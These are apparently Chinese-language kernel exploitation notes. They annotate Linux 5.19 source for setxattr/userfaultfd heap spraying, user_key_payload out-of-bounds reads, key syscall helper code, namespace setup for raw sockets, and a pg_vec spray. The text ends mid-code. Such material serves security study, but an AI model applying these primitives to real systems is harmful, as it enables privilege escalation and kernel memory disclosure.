// https://elixir.bootlin.com/linux/v5.19.17/source/fs/xattr.c#L617
// fs/xattr.c
static int path_setxattr(const char __user *pathname,
const char __user *name, const void __user *value,
size_t size, int flags, unsigned int lookup_flags)
{
struct path path; // VFS 路径结构: { .mnt = vfsmount, .dentry = dentry }
int error;

retry:
error = user_path_at(AT_FDCWD, pathname, lookup_flags, &path); // 从当前工作目录 (AT_FDCWD) 开始解析用户空间路径字符串,返回 struct path
if (error)
return error;
error = mnt_want_write(path.mnt); // 声明对挂载点的写
if (!error) { // 核心调用
error = setxattr(mnt_user_ns(path.mnt), path.dentry, name,
value, size, flags);
mnt_drop_write(path.mnt); // 释放写引用
}
path_put(&path);
if (retry_estale(error, lookup_flags)) {
lookup_flags |= LOOKUP_REVAL;
goto retry;
}
return error;
}

struct path {
struct vfsmount *mnt; // 文件系统挂载点
struct dentry *dentry; // 目录项 (指向目标文件)
} __randomize_layout;


struct vfsmount {
struct dentry *mnt_root; /* root of the mounted tree */
struct super_block *mnt_sb; /* pointer to superblock */
int mnt_flags;
struct user_namespace *mnt_userns;
} __randomize_layout;

struct dentry {
/* RCU lookup touched fields */
unsigned int d_flags; /* protected by d_lock */
seqcount_spinlock_t d_seq; /* per dentry seqlock */
struct hlist_bl_node d_hash; /* lookup hash list */
struct dentry *d_parent; /* parent directory */
struct qstr d_name;
struct inode *d_inode; /* Where the name belongs to - NULL is
* negative */
unsigned char d_iname[DNAME_INLINE_LEN]; /* small names */

/* Ref lookup also touches following */
struct lockref d_lockref; /* per-dentry lock and refcount */
const struct dentry_operations *d_op;
struct super_block *d_sb; /* The root of the dentry tree */
unsigned long d_time; /* used by d_revalidate */
void *d_fsdata; /* fs-specific data */

union {
struct list_head d_lru; /* LRU list */
wait_queue_head_t *d_wait; /* in-lookup ones only */
};
struct list_head d_child; /* child of parent list */
struct list_head d_subdirs; /* our children */
/*
* d_alias and d_rcu can share memory
*/
union {
struct hlist_node d_alias; /* inode alias list */
struct hlist_bl_node d_in_lookup_hash; /* only for in-lookup ones */
struct rcu_head d_rcu;
} d_u;
} __randomize_layout;

setxattr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// https://elixir.bootlin.com/linux/v5.19.17/source/fs/xattr.c#L593
// fs/xattr.c
static long
setxattr(struct user_namespace *mnt_userns, struct dentry *d,
const char __user *name, const void __user *value, size_t size,
int flags)
{
struct xattr_name kname;
struct xattr_ctx ctx = {
.cvalue = value, // 指向用户空间 value 的指针 (const)
.kvalue = NULL, // 内核空间拷贝 (初始 NULL)
.size = size, // value 的长度
.kname = &kname, // 指向 kname 的指针 (含 name 字符串)
.flags = flags, // XATTR_CREATE / XATTR_REPLACE / 0
};
int error;
// 将用户空间的 name 和 value 安全地拷贝到内核空间 — 名称拷到 kname,值拷到 kvalue
error = setxattr_copy(name, &ctx);
if (error)
return error;

error = do_setxattr(mnt_userns, d, &ctx);

kvfree(ctx.kvalue);
return error;
}

setxattr_copy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// https://elixir.bootlin.com/linux/v5.19.17/source/fs/xattr.c#L545
// fs/xattr.c
int setxattr_copy(const char __user *name, struct xattr_ctx *ctx)
{
int error;

if (ctx->flags & ~(XATTR_CREATE|XATTR_REPLACE))
return -EINVAL;

error = strncpy_from_user(ctx->kname->name, name,
sizeof(ctx->kname->name));
if (error == 0 || error == sizeof(ctx->kname->name))
return -ERANGE;
if (error < 0)
return error;

error = 0;
if (ctx->size) {
if (ctx->size > XATTR_SIZE_MAX)
return -E2BIG;

ctx->kvalue = vmemdup_user(ctx->cvalue, ctx->size);
if (IS_ERR(ctx->kvalue)) {
error = PTR_ERR(ctx->kvalue);
ctx->kvalue = NULL;
}
}

return error;
}

vmemdup_user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// https://elixir.bootlin.com/linux/v5.19.17/source/mm/util.c#L196
// mm/util.c
void *vmemdup_user(const void __user *src, size_t len)
{
void *p;
#define GFP_USER (__GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_HARDWALL)
#define GFP_KERNEL (__GFP_RECLAIM | __GFP_IO | __GFP_FS)
p = kvmalloc(len, GFP_USER);
if (!p)
return ERR_PTR(-ENOMEM);

if (copy_from_user(p, src, len)) {
kvfree(p);
return ERR_PTR(-EFAULT);
}

return p;
}
EXPORT_SYMBOL(vmemdup_user);

这里的 value 和 len 都是由我们来指定的,即我们可以分配任意大小的 object 并向其中写入内容,之后该对象会被释放掉

setxattr 与 userfaultfd 堆占位

虽然我们通过 setxattr 系统调用可以在内核空间中分配任意大小的 object 并写入任意内容,但是该 object 在 setxattr 执行结束时又会被放回 freelist 中

重新考虑 setxattr 的执行流程,其中会调用 copy_from_user 从用户空间拷贝数据,那么让我们考虑如下场景:

我们通过 mmap 分配连续的两个页面,在第二个页面上启用 userfaultfd 监视,并在第一个页面的末尾写入我们想要的数据,此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd,从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用

img

内核密钥管理

自 Linux 2.6 起内核引入了 密钥保留服务key retention service),用以在内核空间存储密钥以供其他服务使用,并提供了用以在用户空间操作密钥的三个新的系统调用

这里只关注可供利用的部分

关注 type 为 "user" 的密钥

add_key - 创建带描述密钥(GFP_KERNEL | __GFP_HARDWALL | __GFP_NOWARN)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <keyutils.h>

key_serial_t add_key(size_t size;
const char *type, const char *description,
const void payload[size], size_t size,
key_serial_t keyring);
/*
type: 密钥的类型("user"(用户自定义blob), "logon"(不可被 userspace
读回), "keyring"(密钥环))
description: 描述字符串, 格式通常为"name;descriptive_text"
payload: 指向密钥实际数据的指针
plen: payload 的字节长度
keyring: 目标密钥环的序列号(具体ID或者KEY_SPEC_THREAD_KEYRING (-1))
*/

add_key定义

拷贝 description 使用的是 strndup_user() ,可以看作 kmalloc() + strcpy() ,并限制了最大长度为 KEY_MAX_DESC_SIZE(4096),其核心是使用 memdup_user() 进行对象的分配与拷贝,使用的分配 flag 为 GFP_USER | __GFP_NOWARN,而 GFP_USER 等价于 GFP_KERNEL | __GFP_HARDWALL,这两个对象都是临时对象,之后会被释放掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/keyctl.c#L74
// security/keys/keyctl.c
SYSCALL_DEFINE5(add_key, const char __user *, _type,
const char __user *, _description,
const void __user *, _payload,
size_t, plen,
key_serial_t, ringid)
{
key_ref_t keyring_ref, key_ref;
char type[32], *description;
void *payload;
long ret;

ret = -EINVAL;
// 单个 key 的payload不能超过 1 MiB - 1 字节
if (plen > 1024 * 1024 - 1)
goto error;

/* draw all the data into kernel space */
// 将 type 字符串拷入内核空间
ret = key_get_type_from_user(type, _type, sizeof(type));
if (ret < 0)
goto error;

description = NULL;
// 从用户空间拷贝并分配内核内存
if (_description) {
description = strndup_user(_description, KEY_MAX_DESC_SIZE);
if (IS_ERR(description)) {
ret = PTR_ERR(description);
goto error;
}
if (!*description) {
kfree(description);
description = NULL;
// 防止用户创建以 . 开头的密钥环(内核内部使用 . 前缀命名预留 key)
} else if ((description[0] == '.') &&
(strncmp(type, "keyring", 7) == 0)) {
ret = -EPERM;
goto error2;
}
}

/* pull the payload in if one was supplied */
payload = NULL;
// 拷贝 payload
if (plen) {
ret = -ENOMEM;
// 分配
payload = kvmalloc(plen, GFP_KERNEL);
if (!payload)
goto error2;

ret = -EFAULT;
// 从用户空间拷贝
if (copy_from_user(payload, _payload, plen) != 0)
goto error3;
}

/* find the target keyring (which must be writable) */
// 查询目标密钥环
// KEY_LOOKUP_CREATE — 允许在查找过程中创建中间密钥环
// KEY_NEED_WRITE — 必须对目标密钥环有写权限
keyring_ref = lookup_user_key(ringid, KEY_LOOKUP_CREATE, KEY_NEED_WRITE);
if (IS_ERR(keyring_ref)) {
ret = PTR_ERR(keyring_ref);
goto error3;
}

/* create or update the requested key and add it to the target
* keyring */
// 创建或更新 key
// KEY_PERM_UNDEF — 权限未定义(使用默认 ACL)
// KEY_ALLOC_IN_QUOTA — 计入用户密钥配额
key_ref = key_create_or_update(keyring_ref, type, description,
payload, plen, KEY_PERM_UNDEF,
KEY_ALLOC_IN_QUOTA);
if (!IS_ERR(key_ref)) {
ret = key_ref_to_ptr(key_ref)->serial; // 返回新 key 的序列号
key_ref_put(key_ref);
}
else {
ret = PTR_ERR(key_ref);
}

key_ref_put(keyring_ref);
error3:
kvfree_sensitive(payload, plen); // 释放前清零
error2:
kfree(description);
error:
return ret;
}

strndup_user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// https://elixir.bootlin.com/linux/v5.19.17/source/mm/util.c#L220
// mm/util.c
char *strndup_user(const char __user *s, long n)
{
char *p;
long length;

length = strnlen_user(s, n);

if (!length)
return ERR_PTR(-EFAULT);

if (length > n)
return ERR_PTR(-EINVAL);
// 核心分配
p = memdup_user(s, length);

if (IS_ERR(p))
return p;

p[length - 1] = '\0';

return p;
}
EXPORT_SYMBOL(strndup_user);

memdup_user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// https://elixir.bootlin.com/linux/v5.19.17/source/mm/util.c#L170
// mm/util.c
void *memdup_user(const void __user *src, size_t len)
{
void *p;
#define GFP_USER (__GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_HARDWALL)
#define GFP_KERNEL (__GFP_RECLAIM | __GFP_IO | __GFP_FS)
p = kmalloc_track_caller(len, GFP_USER | __GFP_NOWARN);
if (!p)
return ERR_PTR(-ENOMEM);

if (copy_from_user(p, src, len)) {
kfree(p);
return ERR_PTR(-EFAULT);
}

return p;
}
EXPORT_SYMBOL(memdup_user);

key_create_or_update

在密钥环中创建新 key,或更新已存在的同名 key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/key.c#L816
// security/keys/key.c
key_ref_t key_create_or_update(key_ref_t keyring_ref,
const char *type,
const char *description,
const void *payload,
size_t plen,
key_perm_t perm,
unsigned long flags)
{
struct keyring_index_key index_key = {
.description = description,
};
struct key_preparsed_payload prep;
struct assoc_array_edit *edit = NULL;
const struct cred *cred = current_cred();
struct key *keyring, *key = NULL;
key_ref_t key_ref;
int ret;
struct key_restriction *restrict_link = NULL;

// ...
// 对 payload 做验证/转换
memset(&prep, 0, sizeof(prep));
prep.orig_description = description;
prep.data = payload;
prep.datalen = plen;
prep.quotalen = index_key.type->def_datalen;
prep.expiry = TIME64_MAX;
if (index_key.type->preparse) {
ret = index_key.type->preparse(&prep);
if (ret < 0) {
key_ref = ERR_PTR(ret);
goto error_free_prep;
}
if (!index_key.description)
index_key.description = prep.description;
key_ref = ERR_PTR(-EINVAL);
if (!index_key.description)
goto error_free_prep;
}

// ...

/* allocate a new key */
// 创建新 key
key = key_alloc(index_key.type, index_key.description,
cred->fsuid, cred->fsgid, cred, perm, flags, NULL);
if (IS_ERR(key)) {
key_ref = ERR_CAST(key);
goto error_link_end;
}


// ...
}
EXPORT_SYMBOL(key_create_or_update);

description(key_alloc)

完成代表单个密钥的 key 结构体与 description 空间的分配,其中 key 结构体来自独立的 key_jardescription 的空间则使用 kmemdup() 进行分配,该函数等于 kmalloc_track_caller() + memcpy(),可以直接理解为使用 kmalloc(size, GFP_KERNEL) 分配了一个内核对象并写入了一个字符串 description

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/key.c#L225
// security/keys/key.c
struct key *key_alloc(struct key_type *type, const char *desc,
kuid_t uid, kgid_t gid, const struct cred *cred,
key_perm_t perm, unsigned long flags,
struct key_restriction *restrict_link)
{
struct key_user *user = NULL;
struct key *key;
size_t desclen, quotalen;
int ret;

//...

desclen = strlen(desc);
quotalen = desclen + 1 + type->def_datalen;

// ...

/* allocate and initialise the key and its description */
key = kmem_cache_zalloc(key_jar, GFP_KERNEL);
if (!key)
goto no_memory_2;

key->index_key.desc_len = desclen;
key->index_key.description = kmemdup(desc, desclen + 1, GFP_KERNEL);

// ...
}
EXPORT_SYMBOL(key_alloc);

void *kmemdup(const void *src, size_t len, gfp_t gfp)
{
void *p;

p = kmalloc_track_caller(len, gfp);
if (p)
memcpy(p, src, len);
return p;
}
EXPORT_SYMBOL(kmemdup);

payload

其间会调用 index_key.type->preparse() 函数指针

index_key.type 根据我们传进来的 type 参数决定,对于 "user" 而言该函数表应当为 key_type_user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
key_ref_t key_create_or_update(key_ref_t keyring_ref,
const char *type,
const char *description,
const void *payload,
size_t plen,
key_perm_t perm,
unsigned long flags)
{
//...

/* look up the key type to see if it's one of the registered kernel
* types */
index_key.type = key_type_lookup(type);

//...

memset(&prep, 0, sizeof(prep));
prep.orig_description = description;
prep.data = payload;
prep.datalen = plen;
prep.quotalen = index_key.type->def_datalen;
prep.expiry = TIME64_MAX;
if (index_key.type->preparse) {
ret = index_key.type->preparse(&prep);
//...
}

// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/user_defined.c#L23
// security/keys/user_defined.c
struct key_type key_type_user = {
.name = "user",
.preparse = user_preparse,
.free_preparse = user_free_preparse,
.instantiate = generic_key_instantiate,
.update = user_update,
.revoke = user_revoke,
.destroy = user_destroy,
.describe = user_describe,
.read = user_read,
};

EXPORT_SYMBOL_GPL(key_type_user);

因此被调用的函数为 user_preparse,会为我们的 payload 再分配一个带有一个 user_key_payload 结构体作为头部的对象来保存我们传入的 payload,分配 flag 为 GFP_KERNEL

user_preparse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int user_preparse(struct key_preparsed_payload *prep)
{
struct user_key_payload *upayload;
size_t datalen = prep->datalen;

if (datalen <= 0 || datalen > 32767 || !prep->data)
return -EINVAL;

upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
if (!upayload)
return -ENOMEM;

/* attach the data */
prep->quotalen = datalen;`
prep->payload.data[0] = upayload;
upayload->datalen = datalen;
memcpy(upayload->data, prep->data, datalen);
return 0;
}
EXPORT_SYMBOL_GPL(user_preparse);

// https://elixir.bootlin.com/linux/v5.19.17/source/include/keys/user-type.h#L27
// keys/user-type.h
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};

// https://elixir.bootlin.com/linux/v5.19.17/source/include/linux/types.h#L224
// include/linux/types.h
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

最后存在如下调用链将 user_key_payload 存储到 key 中

1
2
3
4
sys_add_key()
key_create_or_update()
__key_instantiate_and_link()
key->type->instantiate(key, prep) // 对于 type "user" 而言为 generic_key_instantiate()

keyctl - 密钥管理

keyctl() 系统调用提供了对内核中密钥的管理

1
2
3
4
5
#include <linux/keyctl.h>  /* Definition of KEY* constants */
#include <sys/syscall.h> /* Definition of SYS_* constants */
#include <unistd.h>

long syscall(SYS_keyctl, int op, ...);

keyctl定义

通过option来选择不同的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/keyctl.c#L1869
// security/keys/keyctl.c
SYSCALL_DEFINE5(keyctl, int, option, unsigned long, arg2, unsigned long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
switch (option) {
// ...

case KEYCTL_UPDATE:
return keyctl_update_key((key_serial_t) arg2,
(const void __user *) arg3,
(size_t) arg4);

case KEYCTL_REVOKE:
return keyctl_revoke_key((key_serial_t) arg2);

//...

case KEYCTL_UNLINK:
return keyctl_keyring_unlink((key_serial_t) arg2,
(key_serial_t) arg3);

case KEYCTL_READ:
return keyctl_read_key((key_serial_t) arg2,
(char __user *) arg3,
(size_t) arg4);

// ...
}
}

KEYCTL_REVOKE

释放 payload

该选项对应调用的是 keyctl_revoke_key(),其中会调用到 key_revoke(),其中会调用 key->type->revoke(key),对于 type 为 "user" 的 key 而言最后调用到 user_revoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/user_defined.c#L128
// security/keys/user_defined.c
void user_revoke(struct key *key)
{
struct user_key_payload *upayload = user_key_payload_locked(key);

/* clear the quota */
key_payload_reserve(key, 0);

if (upayload) {
rcu_assign_keypointer(key, NULL);
call_rcu(&upayload->rcu, user_free_payload_rcu);
}
}

// 通过call_rcu(),最后会调用到user_free_payload_rcu, 将 payload 释放掉
static void user_free_payload_rcu(struct rcu_head *head)
{
struct user_key_payload *payload;

payload = container_of(head, struct user_key_payload, rcu);
kfree_sensitive(payload);
}

KEYCTL_UPDATE

更新 payload 内容

该选项会调用到 keyctl_update_key(),首先会分配一个临时对象从用户空间拷贝数据,之后调用 key_update() 更新 payload,最后释放掉临时对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/keyctl.c#L325
// security/keys/keyctl.c
long keyctl_update_key(key_serial_t id,
const void __user *_payload,
size_t plen)
{
key_ref_t key_ref;
void *payload;
long ret;

ret = -EINVAL;
if (plen > PAGE_SIZE)
goto error;

/* pull the payload in if one was supplied */
payload = NULL;
if (plen) {
ret = -ENOMEM;
payload = kvmalloc(plen, GFP_KERNEL);
if (!payload)
goto error;

ret = -EFAULT;
if (copy_from_user(payload, _payload, plen) != 0)
goto error2;
}

/* find the target key (which must be writable) */
key_ref = lookup_user_key(id, 0, KEY_NEED_WRITE);
if (IS_ERR(key_ref)) {
ret = PTR_ERR(key_ref);
goto error2;
}

/* update the key */
ret = key_update(key_ref, payload, plen);

key_ref_put(key_ref);
error2:
kvfree_sensitive(payload, plen);
error:
return ret;
}

key_update() 中会调用 key->type->preparse(&prep) 分配新 payload 空间并进行数据拷贝,之后调用 key->type->update(key, &prep) 更新 payload 并释放旧的 payload,最后调用 key->type->free_preparse(&prep)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/key.c#L1003
// security/keys/key.c
int key_update(key_ref_t key_ref, const void *payload, size_t plen)
{
struct key_preparsed_payload prep;
struct key *key = key_ref_to_ptr(key_ref);
int ret;

// ...

if (key->type->preparse) {
ret = key->type->preparse(&prep);
if (ret < 0)
goto error;
}

// ...

ret = key->type->update(key, &prep);

// ...

error:
if (key->type->preparse)
key->type->free_preparse(&prep);
return ret;
}
EXPORT_SYMBOL(key_update);

对于 type 为 "user" 而言 preparse 指针应当为 user_preparse,其会为我们的 payload 再分配一个带有一个 user_key_payload 结构体作为头部的对象来保存我们传入��� payload,分配 flag 为 GFP_KERNEL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/user_defined.c#L59
// security/keys/user_defined.c
int user_preparse(struct key_preparsed_payload *prep)
{
struct user_key_payload *upayload;
size_t datalen = prep->datalen;

if (datalen <= 0 || datalen > 32767 || !prep->data)
return -EINVAL;

upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
if (!upayload)
return -ENOMEM;

/* attach the data */
prep->quotalen = datalen;
prep->payload.data[0] = upayload;
upayload->datalen = datalen;
memcpy(upayload->data, prep->data, datalen);
return 0;
}
EXPORT_SYMBOL_GPL(user_preparse);

对于 type 为 "user" 而言 update 指针应当为 user_update,主要就是将新的 payload 给到 key,调用 user_free_payload_rcu() 释放旧的 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/user_defined.c#L101
// security/keys/user_defined.c
int user_update(struct key *key, struct key_preparsed_payload *prep)
{
struct user_key_payload *zap = NULL;
int ret;

/* check the quota and attach the new data */
ret = key_payload_reserve(key, prep->datalen);
if (ret < 0)
return ret;

/* attach the new data, displacing the old */
key->expiry = prep->expiry;
if (key_is_positive(key))
zap = dereference_key_locked(key);
rcu_assign_keypointer(key, prep->payload.data[0]);
prep->payload.data[0] = NULL;

if (zap)
call_rcu(&zap->rcu, user_free_payload_rcu);
return ret;
}
EXPORT_SYMBOL_GPL(user_update);

对于 type 为 "user" 而言 free_preparse 指针应当为 user_free_preparse,这里只是一个简单的释放操作,但传入的参数 prep->payload.data[0]user_update 中已经被设为 NULL,所以这一步并没有实际作用

1
2
3
4
5
6
7
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/user_defined.c#L83
// security/keys/user_defined.c
void user_free_preparse(struct key_preparsed_payload *prep)
{
kfree_sensitive(prep->payload.data[0]);
}
EXPORT_SYMBOL_GPL(user_free_preparse);

KEYCTL_READ

读取 payload 内容

该选项对应调用的是 keyctl_read_key(),首先会先分配一个临时对象,之后调用 __keyctl_read_key() 将payload 拷贝到临时对象上,最后从临时对象上拷贝数据到用户空间后释放该临时对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/keyctl.c#L825
// security/keys/keyctl.c
long keyctl_read_key(key_serial_t keyid, char __user *buffer, size_t buflen)
{
struct key *key;
key_ref_t key_ref;
long ret;
char *key_data = NULL;
size_t key_data_len;

/* find the key first */
key_ref = lookup_user_key(keyid, 0, KEY_DEFER_PERM_CHECK);
if (IS_ERR(key_ref)) {
ret = -ENOKEY;
goto out;
}

key = key_ref_to_ptr(key_ref);

ret = key_read_state(key);
if (ret < 0)
goto key_put_out; /* Negatively instantiated */

/* see if we can read it directly */
ret = key_permission(key_ref, KEY_NEED_READ);
if (ret == 0)
goto can_read_key;
if (ret != -EACCES)
goto key_put_out;

/* we can't; see if it's searchable from this process's keyrings
* - we automatically take account of the fact that it may be
* dangling off an instantiation key
*/
if (!is_key_possessed(key_ref)) {
ret = -EACCES;
goto key_put_out;
}

/* the key is probably readable - now try to read it */
can_read_key:
if (!key->type->read) {
ret = -EOPNOTSUPP;
goto key_put_out;
}

if (!buffer || !buflen) {
/* Get the key length from the read method */
ret = __keyctl_read_key(key, NULL, 0);
goto key_put_out;
}

/*
* Read the data with the semaphore held (since we might sleep)
* to protect against the key being updated or revoked.
*
* Allocating a temporary buffer to hold the keys before
* transferring them to user buffer to avoid potential
* deadlock involving page fault and mmap_lock.
*
* key_data_len = (buflen <= PAGE_SIZE)
* ? buflen : actual length of key data
*
* This prevents allocating arbitrary large buffer which can
* be much larger than the actual key length. In the latter case,
* at least 2 passes of this loop is required.
*/
key_data_len = (buflen <= PAGE_SIZE) ? buflen : 0;
for (;;) {
if (key_data_len) {
key_data = kvmalloc(key_data_len, GFP_KERNEL);
if (!key_data) {
ret = -ENOMEM;
goto key_put_out;
}
}

ret = __keyctl_read_key(key, key_data, key_data_len);

/*
* Read methods will just return the required length without
* any copying if the provided length isn't large enough.
*/
if (ret <= 0 || ret > buflen)
break;

/*
* The key may change (unlikely) in between 2 consecutive
* __keyctl_read_key() calls. In this case, we reallocate
* a larger buffer and redo the key read when
* key_data_len < ret <= buflen.
*/
if (ret > key_data_len) {
if (unlikely(key_data))
kvfree_sensitive(key_data, key_data_len);
key_data_len = ret;
continue; /* Allocate buffer */
}

if (copy_to_user(buffer, key_data, ret))
ret = -EFAULT;
break;
}
kvfree_sensitive(key_data, key_data_len);

key_put_out:
key_put(key);
out:
return ret;
}

static long __keyctl_read_key(struct key *key, char *buffer, size_t buflen)
{
long ret;

down_read(&key->sem);
ret = key_validate(key);
if (ret == 0)
ret = key->type->read(key, buffer, buflen);
up_read(&key->sem);
return ret;
}

对于 type 为 "user" 而言应当为 user_read()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
long user_read(const struct key *key, char *buffer, size_t buflen)
{
const struct user_key_payload *upayload;
long ret;

upayload = user_key_payload_locked(key);
ret = upayload->datalen;

/* we can return the data as is */
if (buffer && buflen > 0) {
if (buflen > upayload->datalen)
buflen = upayload->datalen;

memcpy(buffer, upayload->data, buflen);
}

return ret;
}

EXPORT_SYMBOL_GPL(user_read);

如果我们能够用某种方式更改 payload 头部的 datalen 为一个更大值,便能完成内核空间中的越界读取,同时由于其使用先分配一个 buflen/datalen 长度的临时对象进行数据拷贝后再将临时对象上数据拷贝到用户空间的方式,因此不会触发 hardened usercopy 的检查

释放整个 key

该选项对应调用的是 keyctl_keyring_unlink() ,其最后会调用到 key_unlink() 进行资源的释放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// https://elixir.bootlin.com/linux/v5.19.17/source/security/keys/keyring.c#L1545
// security/keys/keyring.c
int key_unlink(struct key *keyring, struct key *key)
{
struct assoc_array_edit *edit = NULL;
int ret;

key_check(keyring);
key_check(key);

ret = __key_unlink_lock(keyring);
if (ret < 0)
return ret;

ret = __key_unlink_begin(keyring, key, &edit);
if (ret == 0)
__key_unlink(keyring, key, &edit);
__key_unlink_end(keyring, key, edit);
return ret;
}
EXPORT_SYMBOL(key_unlink);

密钥调用板子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <linux/keyctl.h>

int key_alloc(char *description, char *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

创建子命名空间

因为普通用户无法创建原始套接字(RAW_SOCKET),所以我们可以创建子命名空间来绕过,并最终在父进程中进行提权

使用如下函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void unshare_setup(void) {
int tmp_fd;
char buf[0x100];

if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) {
err_exit("unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)");
}

tmp_fd = open("/proc/self/setgroups", O_WRONLY); // 在新的 user namespace 里禁用 setgroups
snprintf(buf, sizeof(buf), "deny");
write(tmp_fd, buf, strlen(buf));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY); // 设置 UID 映射
snprintf(buf, sizeof(buf), "0 %d 1", getuid());
write(tmp_fd, buf, strlen(buf));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY); // GID 映射
snprintf(buf, sizeof(buf), "0 %d 1", getgid());
write(tmp_fd, buf, strlen(buf));
close(tmp_fd);
}

unshare() 让当前进程脱离原来的 namespace,创建新的:

  • CLONE_NEWNS:新的 mount namespace
  • CLONE_NEWUSER:新的 user namespace
  • CLONE_NEWNET:新的 network namespace

分配虚拟内存数组

alloc_pg_vec函数中,主要内存从该行分配:

1
pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);    

其中,sizeof(struct pgv)的值为8。幸运的是,block_nr也是用户可以控制的,分配一个任意大小的pg_vec数组(这个数组里面的所有pg都要被覆盖为内核代码段的地址):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#define PGV_PAGE_NUM 1000
#define PACKET_RX_RING 5
#define PACKET_VERSION 10
#define PACKET_TX_RING 13

struct tpacket_req
{
unsigned int tp_block_size;
unsigned int tp_block_nr;
unsigned int tp_frame_size;
